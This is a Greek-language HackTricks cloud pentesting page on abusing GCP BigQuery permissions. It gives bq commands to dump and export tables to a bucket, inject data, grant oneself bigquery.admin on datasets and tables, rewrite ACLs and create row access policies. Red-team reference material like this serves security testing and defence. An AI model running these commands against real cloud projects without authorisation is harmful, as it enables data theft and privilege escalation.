Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Για περισσότερες πληροφορίες σχετικά με το BigQuery, ελέγξτε:
{% content-ref url="../gcp-services/gcp-bigquery-enum.md" %} gcp-bigquery-enum.md {% endcontent-ref %}
Διαβάζοντας τις πληροφορίες που αποθηκεύονται μέσα σε έναν πίνακα BigQuery, είναι πιθανό να βρεθούν ευαίσθητες πληροφορίες. Για να έχετε πρόσβαση στις πληροφορίες, απαιτούνται οι άδειες bigquery.tables.get
, bigquery.jobs.create
και bigquery.tables.getData
:
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
Αυτός είναι ένας άλλος τρόπος για να έχετε πρόσβαση στα δεδομένα. Εξαγάγετε τα σε έναν κάδο αποθήκευσης στο cloud και στη συνέχεια κατεβάστε τα αρχεία με τις πληροφορίες.
Για να εκτελέσετε αυτήν την ενέργεια απαιτούνται οι εξής άδειες: bigquery.tables.export
, bigquery.jobs.create
και storage.objects.create
.
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
Είναι πιθανό να εισαχθούν συγκεκριμένα αξιόπιστα δεδομένα σε έναν πίνακα Bigquery για να εκμεταλλευτείτε μια ευπάθεια σε κάποιο άλλο μέρος. Αυτό μπορεί να γίνει εύκολα με τις άδειες bigquery.tables.get
, bigquery.tables.updateData
και bigquery.jobs.create
:
{% code overflow="wrap" %}
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
# Via insert param
bq insert dataset.table /tmp/mydata.json
{% endcode %}
Ένας επιτιθέμενος μπορεί να καταχραστεί αυτό το προνόμιο για να δώσει στον εαυτό του περαιτέρω δικαιώματα σε ένα σύνολο δεδομένων του BigQuery:
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
Αυτή η άδεια επιτρέπει μόνο την ενημέρωση της πρόσβασής σας σε ένα σύνολο δεδομένων BigQuery με τροποποίηση των ACLs που υποδεικνύουν ποιος μπορεί να έχει πρόσβαση σε αυτό:
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
Ένας επιτιθέμενος μπορεί να καταχραστεί αυτό το προνόμιο για να δώσει στον εαυτό του περαιτέρω δικαιώματα σε έναν πίνακα BigQuery:
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
bigquery.rowAccessPolicies.update
, bigquery.rowAccessPolicies.setIamPolicy
, bigquery.tables.getData
, bigquery.jobs.create
Σύμφωνα με τα έγγραφα, με τις ανωτέρω άδειες είναι δυνατόν να ενημερωθεί μια πολιτική γραμμής.
Ωστόσο, χρησιμοποιώντας το εργαλείο γραμμής εντολών bq
χρειάζεστε κάτι παραπάνω: bigquery.rowAccessPolicies.create
, bigquery.tables.get
.
{% code overflow="wrap" %}
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used
{% endcode %}
Είναι δυνατόν να βρεθεί το ID του φίλτρου στην έξοδο της απαρίθμησης των πολιτικών γραμμής. Παράδειγμα:
bq ls --row_access_policies <proj>:<dataset>.<table>
Id Filter Predicate Grantees Creation Time Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.